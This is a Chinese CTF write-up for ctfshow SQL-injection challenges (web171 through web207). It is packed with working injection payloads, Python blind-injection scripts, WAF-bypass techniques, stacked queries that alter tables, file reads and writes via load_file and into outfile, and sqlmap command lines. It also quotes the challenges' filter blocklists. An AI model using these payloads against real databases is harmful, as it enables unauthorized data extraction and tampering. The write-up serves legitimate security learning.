ctfshow sql注入 web171-web253 wp

参考文章

南神博客：https://www.wlhhlc.top/

y4博客：https://y4tacker.blog.csdn.net/

feng博客：https://ego00.blog.csdn.net/

sql注入

咱就是说，现在开始做sql注入。

web171

刚进去咱就能看出来，一共有3列，分别是id、username、password

在这里插入图片描述

其语句是

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

可以发现闭合的方式为单引号，如果输入1’，则构成了id = ‘1’’ limt 1; 肯定会出现报错

在这里插入图片描述

但是可以使用–+来注释掉后面那个引号，即id=‘1’ limit 1;

在这里插入图片描述

于是用union查询来获取database

1' union select database(),2,3 --+

select、union的用法是

select [列名],... from 表名
select [列名],... from 表名  where 条件

union:该操作符用于取得两个结果集的并集。当使用该操作符时，会自动去掉结果集中重复行。

在这里插入图片描述

有些用的是-1，把id改成-1以达到把查询id回显的数据给置空的目的。即

在这里插入图片描述

成功获取库名字后，再查询他的表名。使用group_concat()函数，此函数把相同行的数据都组合起来

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web"--+

在这里插入图片描述

然后查列名

-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user"--+

在这里插入图片描述

虽然一开始就知道3列是id username password，但是还是走个正常流程

最后password发现flag

-1' union select password,2,3 from ctfshow_user --+

web172

同上操作，这次在ctfshow_user2中

-1' union select password,2,3 from ctfshow_user2 --+

web173

过滤查询的结果中是否有"flag"

同上发现有个ctfshow_user3，payload还是不变

-1' union select password,2,3 from ctfshow_user3 --+

web174

草，这里虽然选择了4，但是url上还是select-no-waf-3.php，需要改成select-no-waf-4.php

返回逻辑

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

测试一下1’ order by 1,2 --+ 发现为3的时候接口异常，所以只有2列

但是如果有数字或者flag他就不给回显

我们根据上面的直接测试

-1' union select password,2 from ctfshow_user4 --+

在这里插入图片描述

确实如果内容里面有数字或者flag就回显都不给我们

那这里采取盲注的方式，使用substr语句。发包找到接口位置是/api/v4.php。脚本为了提高速度，采用二分法，脚本如下

import requests
url = 'http://f9fd0549-389a-4ee0-b26a-8f574791f409.challenge.ctf.show/api/v4.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))<{j},'True','False') --+"
        r = requests.get(url=url+payload).text

        if('True' in r):
            max = j
        else:
            min = j

web175

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

简单测试了一下依旧是两列

解法一

时间盲注，因为过滤了\x00到\x7f，是完全没有办法输出字符了。

稍微改一下上面脚本即可

import time
import requests
url = 'http://5adcc7d3-c4d3-440a-8f3e-a4b93e6b61e4.challenge.ctf.show/api/v5.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))<{j},sleep(0.5),'False') --+"
        start_time = time.time()
        r = requests.get(url=url+payload).text
        end_time = time.time()
        sub = end_time - start_time
        if(sub >= 0.5):
            max = j
        else:
            min = j

解法二

将得到的数据通过重定向的方式带到网站根目录

-1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+

然后访问url/flag.txt即可看到flag。前面的题应该都可以这样

web176

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单，不宜展示
  }

《过于简单》x 《黑盒》√

老套路测试一下，第一次测试，发现是过滤了小写的select，改成Select即可绕过

1' union Select database(),2,3 --+

最后payload为

-1' union Select password,2,3 from ctfshow_user--+

或者直接

' or 1=1 --+

web177

测试了一下过滤了空格，用/**/。注释用#的url编码%23

-1'/**/union/**/select/**/password,2,3/**/from/**/ctfshow_user%23

万能密码也可以

web178

他不让用/**/，所以用%09绕过也是可以滴

-1'%09union%09select%09password,2,3%09from%09ctfshow_user%23

web179

我先用1’%09order%09by%091,2,3%23，发现没有回显

最后测试发现，1’%0corder%0cby%0c1,2,3%23有回显

所以这里用%0c来代替空格

-1'%0cunion%0cselect%0cpassword,2,3%0cfrom%0cctfshow_user%23

web180-web182

这里也不知道过滤了啥，反正与空格有关的都过滤了应该

然后去看了下feng、y4、dota_st的payload

发现其实是在179的基础上过滤了%23

y4和南神用的’or(id=26)and’1’='1

payload放入查询语句就是where username !=‘flag’ and id = '‘or(id=26)and’1’=‘1’ limit 1;";

然后因为flag的id是26，and的优先级比or高

上面的payload相当于(username !=‘flag’ and id = ‘’) or (id=26and’1’=‘1’)

然后feng师傅一开始是’union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c’1’='1

其实就是正常的查询用’1’='1来替代了%23

当然综合下来肯定是短的最好。所以这三道题统一的payload为

'or(id=26)and'1'='1

顺带提一下，web181开始终于放黑名单了

//对传入的参数进行了过滤 web181
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

//对传入的参数进行了过滤 web182
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

web183

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

查询结果

//返回用户表的记录总数
      $user_count = 0;

¿¿¿¿

首先传入的参数过滤了等号，or

语句是通过POST传参tableName=

 $sql = "select count(pass) from ".$_POST['tableName'].";";

如果传入tableName=ctfshow_user，在查询结果会回显user_count=22；说明有22条记录

那是不是可以通过盲注的方式，来查询我们写的flag是否正确，如果回显是1，说明当前匹配的flag是正确的。然后where后面是完全可控的，所以这个方法是可行的。

空格用()来代替，等号用like，用where和%来查询匹配指定位置

import requests
url = "http://3b101a33-92fb-4975-8038-1476d4b5ba57.challenge.ctf.show/select-waf.php"
str = "0123456789abcdef{}-_"
flag = "ctfshow"
for i in range(0,60):
    for j in str:
        data = {"tableName":f"(ctfshow_user)where(pass)like'{flag+j}%'"}
        r = requests.post(url=url, data=data).text
        if "$user_count = 1" in r:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web184

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

查询逻辑还是和上面一样，是返回条数。但是这里注意到，没有过滤空格，这就舒服多了啊。

但是把where给ban掉了，还有sleep

这里看y4和南神用的right join，yu师傅用的having

RIGHT JOIN（右连接）：用于获取右表所有记录，即使左表没有对应匹配的记录。

ctfshow%进行16进制编码，得到0x63746673686f7725

首先你还是tableName=ctfshow_user去查，回显22条记录

然后用ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725去查，是查flag

on是连接查询

发现回显$user_count = 43;

那么这里如果flag是正确的，就依然会得到user_count=43,否则不能得到，所以还是盲注

import binascii
import requests

def str_to_hex(s):
    return '0x'+binascii.b2a_hex(s.encode()).decode()

url = "http://0a468011-1fcc-4f74-9d14-60b1e6e62b39.challenge.ctf.show/select-waf.php"
str = "0123456789abcdef{}-_"
flag = "ctfshow"
for i in range(0,60):
    for j in str:
        res = str_to_hex(flag+j+'%')
        data = {"tableName":f"ctfshow_user as a right join ctfshow_user as b on b.pass like {res}"}
        r = requests.post(url=url, data=data).text
        if "$user_count = 43" in r:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web185

过滤的有点多

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

[0-9]没了,但是y4爹爹贴了一张图

在这里插入图片描述

哇实在是太神奇了，y4爹爹的意思就是用这些来构造出数字！

用concat()将字母拼接起来，用法是concat(‘ab’,'cd) —> abcd

只需要修改一下刚刚的脚本就可以了！

import requests

def str_to_num(n):
    return ('true+'*n)[:-1]

def concat_str(s):
    res = ''
    for i in s:
        res += 'chr(' + str_to_num(ord(i)) + '),'
    return res[:-1]

url = "http://a84c9ee8-467b-4b3d-be95-5336dd5611c1.challenge.ctf.show/select-waf.php"
str = "0123456789abcdef{}-_"
flag = "ctfshow"
for i in range(0,60):
    for j in str:
        res = concat_str(flag+j+'%')
        data = {"tableName":f"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({res}))"}
        r = requests.post(url=url, data=data).text
        if "$user_count = 43" in r:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web186

过滤的有亿点点多

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

诶，上一道题的脚本还是可以用

web187

这题，常客了啊

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }

md5之后注入进去，常客ffifdyop。

username=admin password=ffifdyop

具体解释就是ffifdyop在md5之后的值是276f722736c95d99e921722cf9ed621c，而这串进行hex之后’or’6É].é!r,ùíb.

你看这个’or’是不是很注入

在mysql里面，在用作布尔型判断时，以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的，比如password=‘xxx’ or ‘1xxxxxxxxx’，那么就相当于password=‘xxx’ or 1 ，也就相当于password=‘xxx’ or true，所以返回值就是true。当然在我后来测试中发现，不只是1开头，只要是数字开头都是可以的。
当然如果只有数字的话，就不需要单引号，比如password=‘xxx’ or 1，那么返回值也是true。（xxx指代任意字符）
————————————————
版权声明：本文为CSDN博主「bfengj」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/rfrder/article/details/113664639

所以相当于万能密码
在这里插入图片描述

web188

 //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

payload:

username=0&password=0

解释：

在where username=0这样的查询中，因为username都会是字符串，在mysql中字符串与数字进行比较的时候，以字母开头的字符串都会转换成数字0，因此这个where可以把所有以字母开头的数据查出来

而if($row[‘pass’]==intval($password)) 也是弱比较，查出来的也是字母开头的

参考文章：https://stackoverflow.com/questions/18883213/why-select-from-table-where-username-0-shows-all-rows-username-column-is-v

web189

//拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

//用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

依旧是新知识，因为题目给了flag在/api/index.php中

这里用到的函数的load_file()，用法一般是select load_file(xxxx)

LOAD_FILE(file_name)： 读取文件并返回文件内容为字符串。要使用此函数，文件必须位于服务器主机上，必须指定完整路径的文件，而且必须有FILE权限。

regexp： mysql中的正则表达式操作符

这里就用load_file配合regexp来进行盲注，如果正则匹配到了，说明我们的第flag+str(j)是正确的，以此来得到flag，密码还是用0

import requests
url = 'http://ad8042a2-7168-43e3-aee6-7302c26fc3f5.challenge.ctf.show/api/'
flag = 'ctfshow'
table = '0123456789abcdef{}-_'
for i in range(60):
    for j in table:
        payload = {'username':f"if(load_file('/var/www/html/api/index.php')regexp('{flag+j}'),0,1)",
                   'password':0}
        r = requests.post(url=url,data=payload).text
        if(r'\u5bc6\u7801\u9519\u8bef' in r):
            flag += j
            print(flag)
            if(j == '}'):
                break

web190

190的题目描述是 “不饿”

哦，换区域了，这里开始是bool盲注

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥，奇怪

少了啥没少啥啊，好像就取消了过滤感觉

哦草，没api/index.php了

顺便还发现flag不在ctfshow_user，嗯重新弄一下找找看。但是也只能通过盲注，这里如果用sqlmap应该能一把梭出来，因为太标准了。

首先把大框架写好，因为登录只会提示没有用户名和密码错误

这是一个大框架，这个payload是查询表名

import requests
url = 'http://bfa46133-bd43-47a8-85f7-8c26d97a6838.challenge.ctf.show/api/'
flag = ''
for i in range(100):
    lenth = len(flag)
    min = 32
    max = 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            if(len(flag) > 2 and chr(j) == ' '):
                exit()
            break
        payload = f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},1,0)-- -"  #取表名
        

        data = {'username':payload
                ,'password':114514}
        r = requests.post(url=url,data=data).text
        if(r'\u5bc6\u7801\u9519\u8bef' in r):
            max = j
        else:
            min = j

payload=f"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))<{j},1,0)-- -"   #取列名

payload=f"' or if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1))<{j},1,0)-- -" #拿flag

最后就能得到flag

web191

 //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥，奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

可恶，过滤了ascii,那就ord吧

import requests
url = 'http://e9bd512d-7b94-43eb-97e0-6ccd5bb8fb87.challenge.ctf.show/api/'
flag = ''
for i in range(100):
    lenth = len(flag)
    min = 32
    max = 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            if(len(flag) > 2 and chr(j) == ' '):
                exit()
            break
        payload=f"' or if(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1))<{j},1,0)-- -"

        data = {'username':payload
                ,'password':114514}
        r = requests.post(url=url,data=data).text
        if(r'\u5bc6\u7801\u9519\u8bef' in r):
            max = j
        else:
            min = j

web192

 //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥，奇怪
    if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

挖藕，妙诶，他怎么知道我之前用了ord

这里用正则去匹配

import requests
url = "http://4f15a9a5-9519-4427-ab84-0cc29484aeab.challenge.ctf.show/api/"
flag = ""
table = "0123456789abcdef-{}_"

for i in range(1,99):
    for j in table:
        username_data = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g), {i}, 1)regexp('{j}'), 1, 0)=1#"
        data = {'username': username_data,
                'password': 1}
        r = requests.post(url=url, data=data).text
        if r"\u5bc6\u7801\u9519\u8bef" in r:
            flag += j
            print(flag)
            if j == "}":
                exit()
            break

web193

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥，奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

这里在上一道题的基础上，过滤了substr。那就用Like吧

然后这里发现表名变了所以重新注一遍

import requests
url = "http://618941b4-ab0f-43e2-83ce-01afe487708c.challenge.ctf.show/api/"
flag = ""
table = "0123456789abcdefghijklmnopqrstuvwxyz-,{}_"

for i in range(1,99):
    for j in table:
        pay = flag+j+'%'
        username_data = f"' or if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{pay}',1,0)#"
        data = {'username': username_data,
                'password': 1}
        r = requests.post(url=url, data=data).text
        if r"\u5bc6\u7801\u9519\u8bef" in r:
            flag += j
            print(flag)
            if j == "}":
                exit()
            break

f"' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{pay}',1,0)#

f"' or if((select group_concat(f1ag) from ctfshow_flxg) like '{pay}',1,0)#"

web194

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥，奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

不影响，继续193

当然还能注意到feng说y4用到了locate

LOCATE(substr,str), LOCATE(substr,str,pos):第一种语法返回字串符substr在字符串str第一个出现的位置。第二个语法返回串substr在字符串str，位置pos处开始第一次出现的位置。返回值为0，substr不在str.

当然能看出来，locate和like差别不大

web195

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

这里很明显意思是登录成功就有flag，然后这里说了是堆叠注入，所以题目描述才是又双叒叕

可以看到这里过滤了空格

看了wp，可以用反引号`来替换空格

然后只需要登录就可以了，因此师傅们的wp都是直接暴力修改的密码就好了

所以有了

username = 0;update`ctfshow_user`set`pass`=1
然后
password = 1

web196

题目描述说用户名不能太长

 //TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

当然我这种笨比的反应就是想办法拼接，或者直接16字符拿下

不懂，为啥师傅们都说是过滤了se1ect而不是select

在这里插入图片描述

但是select确实能用

所以payload就是

username = 1;select(1)
password = 2333

因为查询不到1这个用户，所以执行了select(1)

web197

用户名可以很长

 //TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

然后这里看南神的没搞懂，虽然是能拿到flag，但是在不知道是ctfshow_user的情况下是怎么弄到这个的

这里用feng和y4的做法

username = 1;alter table `ctfshow_user` change `pass` `feng` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255)

然后username = 0
password从1开始爆破

因为这里其实是把id改成了pass，而id只是纯数字，只要匹配上了就能够回显出flag

还有个问题啊，我能不能写马进去呢

哦，过滤了，好像写不了，算了。

web198

用户名可以更长

 //TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

和刚刚一样的做法

web199

 //TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

就多过滤了个(

用南神的方法吧

username = 1;show tables;
password = ctfshow_user

web200

堆叠结束啦！payload同上

web201

居然开始让咱练习sqlmap怎么用，好！

kali自带sqlmap，不多说了，开整

使用--user-agent 指定agent
使用--referer 绕过referer检查

看一下network

	http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12&page=1&limit=10

get请求访问，绕过的话看自己的访问的network复制粘贴就好了

查库
sqlmap -u http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12 --dbs --user-agent sqlmap --referer http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php

查出来5个，其中我们要用的肯定是ctfshow_web

查表
sqlmap -u http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12 --user-agent sqlmap --referer http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables

注出来ctfshow_user

查列
sqlmap -u http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12 --user-agent sqlmap --referer http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user --columns

查出来id username pass

爆字段
sqlmap -u http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12 --user-agent sqlmap --referer http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump

web202

题目描述：使用–data 调整sqlmap的请求方式

data不应该是POST用的吗，这里不是GET么用上面的payload没问题啊，为啥要调整

在这里插入图片描述

但GET确实注不出来。。改–data=就可以

直接给最后的payload

爆字段
sqlmap -u http://e4fac56f-d2b4-460b-b90b-4c3f185db0c0.challenge.ctf.show/api/ --data="id=1" --user-agent sqlmap --referer http://e4fac56f-d2b4-460b-b90b-4c3f185db0c0.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump

web203

使用–method 调整sqlmap的请求方式

看一下使用方法：sqlmap -hh |grep “method”

在这里插入图片描述

诶，那为啥要用Put呢

url 一般选择包括参数输入的链接。如果是get方法，就直接跟在url后面用?补充参数。如果是post方法，用–data=’xxx=xxx&yyy=yyy’格式发送。或者是–data=’{“xx”:”xxx”}’ json格式的数据。如果不是这两种常见方法，需要加参数 --method=put 或 --method=delete加以特别说明。如果是路径参数，就在参数位置写* ；如果需要加入header信息，需要加上参数–headers=’xx:xxx\nyy:yyy’ ，\n是多行，表示多个header项。
————————————————
版权声明：本文为CSDN博主「鹿鸣天涯」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/jayjaydream/article/details/108555660

看完了我也不清楚，嗯。总之这里使用PUT请求，还要设置Content-Type头，否则提交会变成表单提交

--headers="Content-Type: text/plain"

而且这里不能/api/ 必须要写/api/index.php

sqlmap -u http://ffa2a543-adbc-49fa-8edc-ee90f58860df.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --user-agent sqlmap --referer http://ffa2a543-adbc-49fa-8edc-ee90f58860df.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump

web204

使用–cookie 提交cookie数据

火狐看了一眼cookie

Cookie	UM_distinctid=17de6c9e789a39-0088a827fd34f08-4c3e207f-144000-17de6c9e78a631; PHPSESSID=df3sj4eht92seoarkj6nr9t6gr; ctfshow=c83835c8065c104bba7ca3dc385e55bd

在之前的基础上加一句就好

sqlmap -u http://dfb9f16f-c648-42e7-b3e0-240c5aa1679e.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --cookie="UM_distinctid=17de6c9e789a39-0088a827fd34f08-4c3e207f-144000-17de6c9e78a631;PHPSESSID=df3sj4eht92seoarkj6nr9t6gr; ctfshow=c83835c8065c104bba7ca3dc385e55bd" --user-agent sqlmap --referer http://dfb9f16f-c648-42e7-b3e0-240c5aa1679e.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pass --dump

额，确实有点长，好像挺多都能省下来的

web205

api调用需要鉴权

查看network 发现一次性发了两个包，比之前多了一个/getToken.php

也就是说在请求去查表的时候是会先请求一个/getToken.php

意思是，在查表之前，要访问getToken.php，然后getToekn.php是要给查表的时候用的。

使用sqlmap -hh，去百度翻译看看有没有我们需要的

在这里插入图片描述

–safe-url就能够在我们去查之前，访问一下getToken

其次为了设置访问次数，还需要用到–safe-freq

于是有了如下payload(这里换了表名和列名，我就不放中间查询的payload的)

sqlmap -u http://55bec546-a2a9-4ccc-9347-df357c6b8fa8.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://55bec546-a2a9-4ccc-9347-df357c6b8fa8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://55bec546-a2a9-4ccc-9347-df357c6b8fa8.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_flax -C flagx --dump

web206

sql需要闭合

啥意思，不是能直接注出来么，然后发现还是有getToken，就改一下上面那道题的url

然后一步步注入发现又改了表和列名，嗐

sqlmap -u http://4c678e53-94cf-464a-99ce-f4fac82f2817.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://4c678e53-94cf-464a-99ce-f4fac82f2817.challenge.ctf.show/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://4c678e53-94cf-464a-99ce-f4fac82f2817.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_flaxc -C flagv --dump

web207

–tamper 的初体验

查一下tamper，哦~，就是绕waf的脚本，毕竟有一个很熟悉的词tampermonkey，咱油猴用的脚本管理器

初体验是啥意思

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   return preg_match('/ /', $str);
  }

意思是需要把一个绕waf的脚本，里面的空格，改成绕空格的，比如%09?

首先sqlmap自带的tamper脚本文件都在sqlmap的tamper文件夹下，部分如下文所示。

诶发现这个space2comment.py好像可以用哦

apostrophemask.py 用utf8代替引号

equaltolike.py MSSQL * SQLite中like 代替等号

greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号

space2hash.py 空格替换为#号 随机字符串 以及换行符

space2comment.py 用/**/代替空格

apostrophenullencode.py MySQL 4, 5.0 and 5.5，Oracle 10g，PostgreSQL绕过过滤双引号，替换字符和双引号

halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论

space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py MySQL，SQLite (possibly)，SAP MaxDB绕过对 IFNULL 过滤

space2mssqlblank.py mssql空格替换为其它空符号

base64encode.py 用base64编码

space2mssqlhash.py mssql查询中替换空格

modsecurityversioned.py mysql中过滤空格，包含完整的查询版本注释

space2mysqlblank.py mysql中空格替换其它空白符号

between.py MS SQL 2005，MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号（>）

space2mysqldash.py MySQL，MSSQL替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）

multiplespaces.py 围绕SQL关键字添加多个空格

space2plus.py 用+替换空格

bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代

space2randomblank.py 代替空格字符（“”）从一个随机的空白字符可选字符的有效集

sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾

chardoubleencode.py 双url编码(不处理以编码的)

unionalltounion.py 替换UNION ALL SELECT UNION SELECT

charencode.py Microsoft SQL Server 2005，MySQL 4, 5.0 and 5.5，Oracle 10g，PostgreSQL 8.3, 8.4, 9.0url编码；

